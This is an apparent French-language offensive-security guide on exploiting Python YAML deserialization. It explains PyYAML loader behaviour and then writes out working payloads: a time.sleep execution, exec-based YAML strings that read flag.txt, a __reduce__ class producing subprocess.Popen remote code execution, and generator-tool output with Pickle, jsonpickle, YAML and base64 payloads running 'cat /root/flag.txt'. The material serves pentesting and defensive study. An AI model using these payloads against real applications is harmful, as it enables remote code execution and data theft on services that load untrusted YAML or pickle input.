Python Yaml Deserialization

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Yaml Deserialization

Les bibliothèques Yaml python sont également capables de sérialiser des objets python et pas seulement des données brutes :

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Vérifiez comment le tuple n'est pas un type de données brut et donc il a été sérialisé. Et la même chose s'est produite avec le range (pris des builtins).

safe_load() ou safe_load_all() utilise SafeLoader et ne prend pas en charge la désérialisation des objets de classe. Exemple de désérialisation d'objet de classe :

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Le code précédent utilisait unsafe_load pour charger la classe python sérialisée. Cela est dû au fait qu'à partir de la version >= 5.1, il n'autorise pas à désérialiser toute classe python sérialisée ou attribut de classe, sans Loader spécifié dans load() ou Loader=SafeLoader.

Exploit de base

Exemple sur comment exécuter un sleep :

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Vulnérable .load("<content>") sans Loader

Les anciennes versions de pyyaml étaient vulnérables aux attaques de désérialisation si vous ne spécifiez pas le Loader lors du chargement de quelque chose : yaml.load(data)

Vous pouvez trouver la description de la vulnérabilité ici. L'exploit proposé sur cette page est :

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ou vous pourriez également utiliser cette ligne unique fournie par @ishaack :

!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec  } },
],
}

Notez qu'dans les versions récentes, vous ne pouvez plus appeler .load() sans un Loader et le FullLoader n'est plus vulnérable à cette attaque.

RCE

Des charges utiles personnalisées peuvent être créées en utilisant des modules Python YAML tels que PyYAML ou ruamel.yaml. Ces charges utiles peuvent exploiter des vulnérabilités dans des systèmes qui désérialisent des entrées non fiables sans une sanitation appropriée.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Outil pour créer des Payloads

L'outil https://github.com/j0lt-github/python-deserialization-attack-payload-generator peut être utilisé pour générer des payloads de désérialisation python pour abuser de Pickle, PyYAML, jsonpickle et ruamel.yaml :

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Références

• https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
• https://net-square.com/yaml-deserialization-attack-in-python.html